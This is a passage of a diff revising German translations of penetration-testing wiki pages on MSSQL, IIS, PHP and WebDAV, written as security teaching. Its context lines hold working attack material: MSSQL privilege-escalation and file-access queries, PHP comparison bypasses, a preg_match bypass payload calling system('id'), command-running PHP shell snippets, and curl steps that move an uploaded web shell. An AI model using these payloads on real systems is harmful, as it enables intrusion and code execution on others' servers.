master.dbo.xp_dirtree '\\\any\thing' @@ -286,7 +286,7 @@ Sie können sehen, wie man diese Tools verwendet in: ### **Dateien schreiben** -Um Dateien mit `MSSQL` zu schreiben, **müssen wir** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) aktivieren, was Administratorrechte erfordert, und dann einige gespeicherte Prozeduren ausführen, um die Datei zu erstellen: +Um Dateien mit `MSSQL` zu schreiben, müssen wir [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) **aktivieren**, was Administratorrechte erfordert, und dann einige gespeicherte Prozeduren ausführen, um die Datei zu erstellen: ```bash # Enable Ole Automation Procedures sp_configure 'show advanced options', 1 @@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE ``` ### **Datei mit** OPENROWSET **lesen** -Standardmäßig erlaubt `MSSQL` das **Lesen von Dateien in jedem Dateisystem, auf das das Konto Lesezugriff hat**. Wir können die folgende SQL-Abfrage verwenden: +Standardmäßig erlaubt `MSSQL` das **Lesen von Dateien im Betriebssystem, auf die das Konto Lesezugriff hat**. Wir können die folgende SQL-Abfrage verwenden: ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` @@ -366,7 +366,7 @@ Use master; EXEC sp_helprotect 'xp_regread'; EXEC sp_helprotect 'xp_regwrite'; ``` -Für **weitere Beispiele** siehe die [**ursprüngliche Quelle**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). +Für **weitere Beispiele** schauen Sie sich die [**originale Quelle**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) an. ### RCE mit MSSQL Benutzerdefinierter Funktion - SQLHttp @@ -438,7 +438,7 @@ Es gibt andere Methoden, um Befehlsausführung zu erhalten, wie das Hinzufügen ### Von db_owner zu sysadmin -Wenn ein **normaler Benutzer** die Rolle **`db_owner`** über die **Datenbank eines Admin-Benutzers** (wie **`sa`**) erhält und diese Datenbank als **`trustworthy`** konfiguriert ist, kann dieser Benutzer diese Privilegien missbrauchen, um **privesc** zu erreichen, da **stored procedures**, die dort erstellt werden, als der Eigentümer (**Admin**) **ausgeführt** werden können. +Wenn ein **normaler Benutzer** die Rolle **`db_owner`** über die **Datenbank, die einem Admin**-Benutzer (wie **`sa`**) gehört, erhält und diese Datenbank als **`trustworthy`** konfiguriert ist, kann dieser Benutzer diese Privilegien missbrauchen, um **privesc** zu erreichen, da **Stored Procedures**, die dort erstellt werden, als der Eigentümer (**Admin**) **ausgeführt** werden können. ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -505,9 +505,9 @@ enum_links use_link [NAME] ``` > [!NOTE] -> Wenn Sie einen Benutzer impersonieren können, auch wenn er kein Sysadmin ist, sollten Sie überprüfen, **ob der Benutzer Zugriff** auf andere **Datenbanken** oder verknüpfte Server hat. +> Wenn Sie einen Benutzer nachahmen können, auch wenn er kein Sysadmin ist, sollten Sie überprüfen, **ob der Benutzer Zugriff** auf andere **Datenbanken** oder verknüpfte Server hat. -Beachten Sie, dass Sie, sobald Sie Sysadmin sind, jeden anderen impersonieren können: +Beachten Sie, dass Sie, sobald Sie Sysadmin sind, jeden anderen nachahmen können: ```sql -- Impersonate RegUser EXECUTE AS LOGIN = 'RegUser' @@ -543,7 +543,7 @@ Nachdem Sie Ihre Berechtigungen validiert haben, müssen Sie drei Dinge konfigur 2. Fügen Sie einen Startparameter hinzu, in diesem Fall wird ein Trace-Flag hinzugefügt, das -T7806 ist. 3. Aktivieren Sie die Remote-Admin-Verbindung. -Um diese Konfigurationen zu automatisieren, enthält [dieses Repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die benötigten Skripte. Neben einem PowerShell-Skript für jeden Schritt der Konfiguration enthält das Repository auch ein vollständiges Skript, das die Konfigurationsskripte sowie die Extraktion und Entschlüsselung der Passwörter kombiniert. +Um diese Konfigurationen zu automatisieren, hat [dieses Repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die benötigten Skripte. Neben einem PowerShell-Skript für jeden Schritt der Konfiguration enthält das Repository auch ein vollständiges Skript, das die Konfigurationsskripte sowie die Extraktion und Entschlüsselung der Passwörter kombiniert. Für weitere Informationen siehe die folgenden Links zu diesem Angriff: [Entschlüsseln von MSSQL-Datenbank-Link-Server-Passwörtern](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index fff490670..12e50222f 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Testen Sie ausführbare Dateierweiterungen: +Testen von ausführbaren Dateierweiterungen: - asp - aspx @@ -29,7 +29,7 @@ X-FEServer: NHEXCHANGE2016 ``` ## .config-Dateien ausführen -Sie können .config-Dateien hochladen und sie verwenden, um Code auszuführen. Eine Möglichkeit, dies zu tun, besteht darin, den Code am Ende der Datei innerhalb eines HTML-Kommentars anzuhängen: [Beispiel hier herunterladen](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) +Sie können .config-Dateien hochladen und sie verwenden, um Code auszuführen. Eine Möglichkeit, dies zu tun, besteht darin, den Code am Ende der Datei innerhalb eines HTML-Kommentars anzufügen: [Beispiel hier herunterladen](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) Weitere Informationen und Techniken zur Ausnutzung dieser Schwachstelle [hier](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) @@ -61,7 +61,7 @@ Verwenden Sie es, ohne eine Erweiterung hinzuzufügen, die Dateien, die sie ben > [!NOTE] > Zusammenfassend gibt es mehrere web.config-Dateien in den Ordnern der Anwendung mit Verweisen auf "**assemblyIdentity**"-Dateien und "**namespaces**". Mit diesen Informationen ist es möglich zu wissen, **wo sich ausführbare Dateien befinden** und sie herunterzuladen.\ > Aus den **heruntergeladenen Dlls** ist es auch möglich, **neue Namespaces** zu finden, auf die Sie zugreifen sollten, um die web.config-Datei zu erhalten, um neue Namespaces und assemblyIdentity zu finden.\ -> Außerdem können die Dateien **connectionstrings.config** und **global.asax** interessante Informationen enthalten.\\ +> Außerdem können die Dateien **connectionstrings.config** und **global.asax** interessante Informationen enthalten. In **.Net MVC-Anwendungen** spielt die **web.config**-Datei eine entscheidende Rolle, indem sie jede Binärdatei angibt, auf die die Anwendung über **"assemblyIdentity"** XML-Tags angewiesen ist. @@ -187,12 +187,12 @@ C:\xampp\tomcat\conf\server.xml Wenn Sie einen Fehler wie den folgenden sehen: -![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) +![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) bedeutet das, dass der Server **den korrekten Domainnamen** im Host-Header **nicht erhalten hat**.\ Um auf die Webseite zuzugreifen, könnten Sie das **SSL-Zertifikat** überprüfen und vielleicht finden Sie dort den Domain-/Subdomainnamen. Wenn es dort nicht vorhanden ist, müssen Sie möglicherweise **VHosts brute forcen**, bis Sie den richtigen finden. -## Alte IIS-Sicherheitsanfälligkeiten, die es wert sind, untersucht zu werden +## Alte IIS-Sicherheitsanfälligkeiten, die es wert sind, gesucht zu werden ### Microsoft IIS Tilde-Zeichen “\~” Sicherheitsanfälligkeit/Funktion – Offenlegung kurzer Datei-/Ordnernamen @@ -236,12 +236,12 @@ ASPXAUTH verwendet die folgenden Informationen: - **`decryptionIV`** (string): hex-kodierter Initialisierungsvektor (Standard ist ein Vektor aus Nullen). - **`decryptionKey`** (string): hex-kodierter Schlüssel zur Verwendung für die Entschlüsselung. -Einige Personen verwenden jedoch die **Standardwerte** dieser Parameter und verwenden als **Cookie die E-Mail des Benutzers**. Daher, wenn Sie eine Webseite finden, die die **gleiche Plattform** verwendet und das ASPXAUTH-Cookie verwendet, und Sie **einen Benutzer mit der E-Mail des Benutzers, den Sie nachahmen möchten**, auf dem angegriffenen Server erstellen, könnten Sie in der Lage sein, das **Cookie vom zweiten Server im ersten zu verwenden** und den Benutzer nachzuahmen.\ +Einige Personen verwenden jedoch die **Standardwerte** dieser Parameter und verwenden als **Cookie die E-Mail des Benutzers**. Daher, wenn Sie eine Webseite finden, die die **gleiche Plattform** verwendet und das ASPXAUTH-Cookie verwendet, und Sie **einen Benutzer mit der E-Mail des Benutzers, den Sie nachahmen möchten**, auf dem angegriffenen Server erstellen, könnten Sie in der Lage sein, **das Cookie vom zweiten Server im ersten zu verwenden** und den Benutzer nachzuahmen.\ Dieser Angriff funktionierte in diesem [**Bericht**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19). ## IIS-Authentifizierungsumgehung mit zwischengespeicherten Passwörtern (CVE-2022-30209) -[Vollständiger Bericht hier](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Ein Fehler im Code **überprüfte das vom Benutzer angegebene Passwort nicht ordnungsgemäß**, sodass ein Angreifer, dessen **Passworthash einen Schlüssel** trifft, der bereits im **Cache** ist, sich als dieser Benutzer anmelden kann. +[Vollständiger Bericht hier](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Ein Fehler im Code **überprüfte das vom Benutzer angegebene Passwort nicht ordnungsgemäß**, sodass ein Angreifer, dessen **Passworthash einen Schlüssel trifft**, der bereits im **Cache** ist, sich als dieser Benutzer anmelden kann. ```python # script for sanity check > type test.py diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index a301a0366..79120d6e2 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## Cookies allgemeiner Speicherort: +## Häufige Speicherorte für Cookies: Dies gilt auch für phpMyAdmin-Cookies. @@ -36,7 +36,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf - `"0xAAAA" == "43690" -> True` Strings, die aus Zahlen im dezimalen oder hexadezimalen Format bestehen, können mit anderen Zahlen/Strings verglichen werden, wobei das Ergebnis True ist, wenn die Zahlen gleich sind (Zahlen in einem String werden als Zahlen interpretiert) - `"0e3264578" == 0 --> True` Ein String, der mit "0e" beginnt und gefolgt von irgendetwas ist, wird gleich 0 sein - `"0X3264578" == 0X --> True` Ein String, der mit "0" beginnt und gefolgt von einem beliebigen Buchstaben (X kann jeder Buchstabe sein) und gefolgt von irgendetwas ist, wird gleich 0 sein -- `"0e12334" == "0" --> True` Dies ist sehr interessant, da Sie in einigen Fällen die String-Eingabe von "0" und einige Inhalte, die gehasht und damit verglichen werden, steuern können. Wenn Sie also einen Wert bereitstellen können, der einen Hash erzeugt, der mit "0e" beginnt und ohne Buchstaben ist, könnten Sie den Vergleich umgehen. Sie können **bereits gehashte Strings** mit diesem Format hier finden: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +- `"0e12334" == "0" --> True` Dies ist sehr interessant, da Sie in einigen Fällen die String-Eingabe von "0" und einige Inhalte, die gehasht und damit verglichen werden, steuern können. Daher, wenn Sie einen Wert bereitstellen können, der einen Hash erzeugt, der mit "0e" beginnt und ohne Buchstaben ist, könnten Sie den Vergleich umgehen. Sie können **bereits gehashte Strings** mit diesem Format hier finden: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` Jeder Buchstabe in einem String ist gleich int 0 Weitere Informationen unter [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) @@ -53,7 +53,7 @@ var_dump(in_array(0, $values, true)); ``` ### strcmp()/strcasecmp() -Wenn diese Funktion für **irgendeine Authentifizierungsüberprüfung** verwendet wird (wie das Überprüfen des Passworts) und der Benutzer eine Seite des Vergleichs kontrolliert, kann er ein leeres Array anstelle eines Strings als Wert des Passworts senden (`https://example.com/login.php/?username=admin&password[]=`) und diese Überprüfung umgehen: +Wenn diese Funktion für **irgendeine Authentifizierungsüberprüfung** (wie das Überprüfen des Passworts) verwendet wird und der Benutzer eine Seite des Vergleichs kontrolliert, kann er ein leeres Array anstelle eines Strings als Wert des Passworts senden (`https://example.com/login.php/?username=admin&password[]=`) und diese Überprüfung umgehen: ```php if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password @@ -97,7 +97,7 @@ Finden Sie ein Beispiel hier: [https://ramadistra.dev/fbctf-2019-rceservice](htt #### **Length error bypass** -(Diese Umgehung wurde anscheinend auf PHP 5.2.5 versucht und ich konnte sie nicht auf PHP 7.3.15 zum Laufen bringen)\ +(Diese Umgehung wurde anscheinend auf PHP 5.2.5 ausprobiert und ich konnte sie nicht auf PHP 7.3.15 zum Laufen bringen)\ Wenn Sie `preg_match()` eine gültige sehr **große Eingabe** senden, **wird es nicht in der Lage sein, sie zu verarbeiten** und Sie werden in der Lage sein, die Überprüfung zu **umgehen**. Zum Beispiel, wenn es eine JSON auf die schwarze Liste setzt, könnten Sie senden: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' @@ -110,13 +110,13 @@ Trick von: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-w
-Kurz gesagt, das Problem tritt auf, weil die `preg_*` Funktionen in PHP auf der [PCRE-Bibliothek](http://www.pcre.org/) basieren. In PCRE werden bestimmte reguläre Ausdrücke durch viele rekursive Aufrufe abgeglichen, was viel Stack-Speicher benötigt. Es ist möglich, ein Limit für die Anzahl der erlaubten Rekursionen festzulegen, aber in PHP beträgt dieses Limit [standardmäßig 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), was mehr ist, als im Stack Platz hat. +Kurz gesagt, das Problem tritt auf, weil die `preg_*` Funktionen in PHP auf der [PCRE-Bibliothek](http://www.pcre.org/) basieren. In PCRE werden bestimmte reguläre Ausdrücke durch viele rekursive Aufrufe abgeglichen, was viel Stack-Speicher verbraucht. Es ist möglich, ein Limit für die Anzahl der erlaubten Rekursionen festzulegen, aber in PHP beträgt dieses Limit [standardmäßig 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), was mehr ist, als im Stack Platz hat. [Dieser Stackoverflow-Thread](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) wurde ebenfalls in dem Beitrag verlinkt, in dem ausführlicher über dieses Problem gesprochen wird. Unsere Aufgabe war nun klar:\ -**Sende eine Eingabe, die die Regex dazu bringt, 100_000+ Rekursionen durchzuführen, was zu SIGSEGV führt, wodurch die `preg_match()` Funktion `false` zurückgibt und die Anwendung denkt, dass unsere Eingabe nicht bösartig ist, und am Ende des Payloads eine Überraschung wie `{system()}` wirft, um SSTI --> RCE --> Flag :) zu erhalten.** +**Sende eine Eingabe, die die Regex dazu bringt, 100_000+ Rekursionen durchzuführen, was zu SIGSEGV führt, wodurch die `preg_match()` Funktion `false` zurückgibt und die Anwendung denkt, dass unsere Eingabe nicht bösartig ist, und am Ende des Payloads eine Überraschung wie `{system()}` wirft, um SSTI --> RCE --> Flag :)**. -Nun, in Regex-Begriffen führen wir tatsächlich keine 100k "Rekursionen" durch, sondern zählen stattdessen "Backtracking-Schritte", die, wie die [PHP-Dokumentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) angibt, standardmäßig 1_000_000 (1M) in der Variablen `pcre.backtrack_limit` beträgt.\ -Um das zu erreichen, wird `'X'*500_001` zu 1 Million Backtracking-Schritten führen (500k vorwärts und 500k rückwärts): +Nun, in Bezug auf Regex machen wir tatsächlich keine 100k "Rekursionen", sondern zählen stattdessen "Backtracking-Schritte", die, wie die [PHP-Dokumentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) besagt, standardmäßig 1_000_000 (1M) in der Variablen `pcre.backtrack_limit` beträgt.\ +Um das zu erreichen, ergibt `'X'*500_001` 1 Million Backtracking-Schritte (500k vorwärts und 500k rückwärts): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` @@ -154,8 +154,8 @@ Check: ## Weitere Tricks - **register_globals**: In **PHP < 4.1.1.1** oder wenn falsch konfiguriert, kann **register_globals** aktiv sein (oder ihr Verhalten wird nachgeahmt). Das bedeutet, dass in globalen Variablen wie $\_GET, wenn sie einen Wert haben z.B. $\_GET\["param"]="1234", Sie darauf über **$param zugreifen können. Daher können Sie durch das Senden von HTTP-Parametern Variablen\*\* überschreiben, die im Code verwendet werden. -- Die **PHPSESSION-Cookies der gleichen Domain werden am gleichen Ort gespeichert**, daher, wenn innerhalb einer Domain **verschiedene Cookies in verschiedenen Pfaden verwendet werden**, können Sie einen Pfad so gestalten, dass er das Cookie des anderen Pfades zugreift, indem er den Wert des Cookies des anderen Pfades setzt.\ -Auf diese Weise, wenn **beide Pfade auf eine Variable mit dem gleichen Namen zugreifen**, können Sie den **Wert dieser Variablen in path1 auf path2 anwenden**. Und dann wird path2 die Variablen von path1 als gültig betrachten (indem das Cookie den Namen erhält, der ihm in path2 entspricht). +- Die **PHPSESSION-Cookies der gleichen Domain werden am selben Ort gespeichert**, daher, wenn innerhalb einer Domain **verschiedene Cookies in verschiedenen Pfaden verwendet werden**, können Sie einen Pfad so gestalten, dass er das Cookie des anderen Pfades zugreift, indem er den Wert des Cookies des anderen Pfades setzt.\ +Auf diese Weise, wenn **beide Pfade auf eine Variable mit demselben Namen zugreifen**, können Sie den **Wert dieser Variablen in path1 auf path2 anwenden**. Und dann wird path2 die Variablen von path1 als gültig betrachten (indem das Cookie den Namen erhält, der ihm in path2 entspricht). - Wenn Sie die **Benutzernamen** der Benutzer der Maschine haben. Überprüfen Sie die Adresse: **/\~\**, um zu sehen, ob die PHP-Verzeichnisse aktiviert sind. - [**LFI und RCE mit PHP-Wrappers**](../../../pentesting-web/file-inclusion/index.html) @@ -174,7 +174,7 @@ True #### Fehler verursachen nach dem Setzen von Headern -Aus [**diesem Twitter-Thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) können Sie sehen, dass das Senden von mehr als 1000 GET-Parametern oder 1000 POST-Parametern oder 20 Dateien dazu führt, dass PHP die Header in der Antwort nicht setzen wird. +Aus [**diesem Twitter-Thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) können Sie sehen, dass das Senden von mehr als 1000 GET-Parametern oder 1000 POST-Parametern oder 20 Dateien dazu führt, dass PHP keine Header in der Antwort setzen wird. Dies ermöglicht es, beispielsweise CSP-Header zu umgehen, die in Codes wie: ```php @@ -184,8 +184,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"]; ``` #### Füllen eines Körpers, bevor Header gesetzt werden -Wenn eine **PHP-Seite Fehler ausgibt und einige vom Benutzer bereitgestellte Eingaben zurückgibt**, kann der Benutzer den PHP-Server dazu bringen, einige **Inhalte auszugeben, die lang genug sind**, sodass der Server beim Versuch, **die Header** in die Antwort einzufügen, einen Fehler auslöst.\ -Im folgenden Szenario hat der **Angreifer den Server dazu gebracht, einige große Fehler auszugeben**, und wie Sie auf dem Bildschirm sehen können, konnte PHP, als es versuchte, **die Headerinformationen zu ändern, dies nicht** (zum Beispiel wurde der CSP-Header nicht an den Benutzer gesendet): +Wenn eine **PHP-Seite Fehler ausgibt und einige vom Benutzer bereitgestellte Eingaben zurückgibt**, kann der Benutzer den PHP-Server dazu bringen, einige **Inhalte auszugeben, die lang genug sind**, sodass der Server beim Versuch, die **Header** in die Antwort einzufügen, einen Fehler auslöst.\ +Im folgenden Szenario ließ der **Angreifer den Server einige große Fehler ausgeben**, und wie Sie auf dem Bildschirm sehen können, konnte PHP, als es versuchte, **die Header-Informationen zu ändern, dies nicht tun** (zum Beispiel wurde der CSP-Header nicht an den Benutzer gesendet): ![](<../../../images/image (1085).png>) @@ -200,7 +200,7 @@ php-ssrf.md ## Codeausführung **system("ls");**\ -&#xNAN;**\`ls\`;**\ +**\`ls\`;**\ **shell_exec("ls");** [Überprüfen Sie dies für nützliche PHP-Funktionen](php-useful-functions-disable_functions-open_basedir-bypass/index.html) @@ -261,7 +261,7 @@ Sie können auch **//** verwenden, um den Rest des Codes zu kommentieren. Um die Anzahl der Klammern zu entdecken, die Sie schließen müssen: -- `?order=id;}//`: Wir erhalten eine Fehlermeldung (`Parse error: syntax error, unexpected ';'`). Wahrscheinlich fehlen uns eine oder mehrere Klammern. +- `?order=id;}//`: Wir erhalten eine Fehlermeldung (`Parse error: syntax error, unexpected ';'`). Wahrscheinlich fehlt uns eine oder mehrere Klammern. - `?order=id);}//`: Wir erhalten eine **Warnung**. Das scheint richtig zu sein. - `?order=id));}//`: Wir erhalten eine Fehlermeldung (`Parse error: syntax error, unexpected ')' i`). Wahrscheinlich haben wir zu viele schließende Klammern. @@ -273,7 +273,7 @@ Verschiedene .htaccess-Shells finden Sie [hier](https://github.com/wireghoul/hts ### RCE über Env-Variablen -Wenn Sie eine Schwachstelle finden, die es Ihnen ermöglicht, **Umgebungsvariablen in PHP zu ändern** (und eine andere, um Dateien hochzuladen, obwohl dies mit mehr Forschung möglicherweise umgangen werden kann), könnten Sie dieses Verhalten ausnutzen, um **RCE** zu erhalten. +Wenn Sie eine Schwachstelle finden, die es Ihnen ermöglicht, **Umgebungsvariablen in PHP zu ändern** (und eine andere, um Dateien hochzuladen, obwohl dies mit mehr Recherche möglicherweise umgangen werden kann), könnten Sie dieses Verhalten ausnutzen, um **RCE** zu erhalten. - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Diese Umgebungsvariable ermöglicht es Ihnen, beliebige Bibliotheken beim Ausführen anderer Binärdateien zu laden (obwohl es in diesem Fall möglicherweise nicht funktioniert). - **`PHPRC`** : Weist PHP an, **wo es seine Konfigurationsdatei finden soll**, die normalerweise `php.ini` heißt. Wenn Sie Ihre eigene Konfigurationsdatei hochladen können, verwenden Sie `PHPRC`, um PHP darauf zu verweisen. Fügen Sie einen **`auto_prepend_file`**-Eintrag hinzu, der eine zweite hochgeladene Datei angibt. Diese zweite Datei enthält normalen **PHP-Code, der dann** von der PHP-Laufzeitumgebung vor jedem anderen Code ausgeführt wird. @@ -312,7 +312,7 @@ phpinfo(); ## PHP Sanitization Bypass & Brain Fuck [**In diesem Beitrag**](https://blog.redteam-pentesting.de/2024/moodle-rce/) sind großartige Ideen zu finden, um einen Brain Fuck PHP-Code mit sehr wenigen erlaubten Zeichen zu generieren.\ -Darüber hinaus wird auch eine interessante Möglichkeit vorgeschlagen, Funktionen auszuführen, die es ermöglichten, mehrere Überprüfungen zu umgehen: +Darüber hinaus wird auch ein interessanter Weg vorgeschlagen, um Funktionen auszuführen, die es ermöglichten, mehrere Überprüfungen zu umgehen: ```php (1)->{system($_GET[chr(97)])} ``` @@ -332,7 +332,7 @@ Sie können die **web**[ **www.unphp.net**](http://www.unphp.net) **verwenden, u ## PHP Wrappers & Protocols -PHP-Wrappers und Protokolle könnten es Ihnen ermöglichen, **Schreib- und Lese-Schutzmaßnahmen** in einem System zu umgehen und es zu kompromittieren. Für [**weitere Informationen überprüfen Sie diese Seite**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols). +PHP-Wrappers und -Protokolle könnten es Ihnen ermöglichen, **Schreib- und Lese-Schutzmaßnahmen** in einem System zu umgehen und es zu kompromittieren. Für [**weitere Informationen überprüfen Sie diese Seite**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols). ## Xdebug unauthenticated RCE @@ -382,7 +382,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` -Also, wenn Sie **willkürlichen PHP-Code ohne Zahlen und Buchstaben ausführen können**, können Sie eine Anfrage wie die folgende senden, um diese Nutzlast auszunutzen und willkürlichen PHP-Code auszuführen: +Also, wenn Sie **willkürliches PHP ohne Zahlen und Buchstaben ausführen können**, können Sie eine Anfrage wie die folgende senden, um diese Nutzlast auszunutzen, um willkürliches PHP auszuführen: ``` POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 1025f74fe..7d80ad8da 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -4,7 +4,7 @@ Wenn Sie es mit einem **HTTP-Server mit aktiviertem WebDav** zu tun haben, ist es möglich, **Dateien zu manipulieren**, wenn Sie die richtigen **Anmeldeinformationen** haben, die normalerweise durch **HTTP Basic Authentication** überprüft werden. Die Kontrolle über einen solchen Server zu erlangen, beinhaltet oft das **Hochladen und Ausführen einer Webshell**. -Der Zugriff auf den WebDav-Server erfordert typischerweise **gültige Anmeldeinformationen**, wobei [**WebDav Bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) eine gängige Methode ist, um diese zu erlangen. +Der Zugriff auf den WebDav-Server erfordert typischerweise **gültige Anmeldeinformationen**, wobei [**WebDav Bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) eine gängige Methode ist, um diese zu erwerben. Um Einschränkungen beim Hochladen von Dateien zu überwinden, insbesondere solche, die die Ausführung von serverseitigen Skripten verhindern, könnten Sie: @@ -39,18 +39,18 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav Verwundbarkeit -Diese Verwundbarkeit ist sehr interessant. **WebDav** erlaubt **nicht**, Dateien mit der Erweiterung **.asp** zu **hochladen** oder **umzubenennen**. Aber Sie können dies **umgehen**, indem Sie am Ende des Namens **";.txt"** hinzufügen, und die Datei wird **ausgeführt**, als ob es sich um eine .asp-Datei handelt (Sie könnten auch **".html" anstelle von ".txt" verwenden**, aber **VERGESSEN Sie nicht das ";"**). +Diese Verwundbarkeit ist sehr interessant. **WebDav** erlaubt **nicht**, Dateien mit der Erweiterung **.asp** zu **hochladen** oder **umzubenennen**. Aber du kannst dies **umgehen**, indem du am Ende des Namens **";.txt"** hinzufügst, und die Datei wird **ausgeführt**, als ob es sich um eine .asp-Datei handelt (du könntest auch **".html" anstelle von ".txt" verwenden**, aber **VERGISS nicht das ";"**). -Dann können Sie Ihre Shell als ".**txt" Datei** **hochladen** und sie in eine ".asp;.txt" Datei **kopieren/bewegen**. Wenn Sie auf diese Datei über den Webserver zugreifen, wird sie **ausgeführt** (cadaver wird sagen, dass die Verschiebeaktion nicht funktioniert hat, aber das hat sie). +Dann kannst du deine Shell als ".**txt" Datei** **hochladen** und sie in eine ".asp;.txt" **Datei kopieren/bewegen**. Wenn du auf diese Datei über den Webserver zugreifst, wird sie **ausgeführt** (cadaver wird sagen, dass die Verschiebeaktion nicht funktioniert hat, aber das tat sie). ![](<../../images/image (1092).png>) ## Post-Anmeldeinformationen -Wenn Webdav einen Apache-Server verwendet hat, sollten Sie die konfigurierten Sites in Apache überprüfen. Üblicherweise:\ -\&#xNAN;_**/etc/apache2/sites-enabled/000-default**_ +Wenn Webdav einen Apache-Server verwendet, solltest du die konfigurierten Sites in Apache überprüfen. Üblicherweise:\ +\_**/etc/apache2/sites-enabled/000-default**_ -Darin könnten Sie etwas finden wie: +Darin könntest du etwas finden wie: ``` ServerAdmin webmaster@localhost Alias /webdav /var/www/webdav @@ -67,7 +67,7 @@ Wie Sie sehen können, gibt es die Dateien mit den gültigen **credentials** fü ``` In diesen Dateitypen finden Sie den **Benutzernamen** und einen **Hash** des Passworts. Dies sind die Anmeldeinformationen, die der WebDAV-Server verwendet, um Benutzer zu authentifizieren. -Sie können versuchen, sie zu **knacken** oder weitere hinzuzufügen, wenn Sie aus irgendeinem Grund auf den **WebDAV**-Server **zugreifen** möchten: +Sie können versuchen, sie zu **knacken**, oder weitere hinzuzufügen, wenn Sie aus irgendeinem Grund auf den **WebDAV**-Server **zugreifen** möchten: ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index 7a88b5f40..06788f541 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -6,15 +6,15 @@ Bei einem Clickjacking-Angriff wird ein **Benutzer** **getäuscht**, indem er auf ein **Element** auf einer Webseite klickt, das entweder **unsichtbar** oder als ein anderes Element getarnt ist. Diese Manipulation kann zu unbeabsichtigten Konsequenzen für den Benutzer führen, wie z.B. dem Herunterladen von Malware, der Weiterleitung zu bösartigen Webseiten, der Bereitstellung von Anmeldedaten oder sensiblen 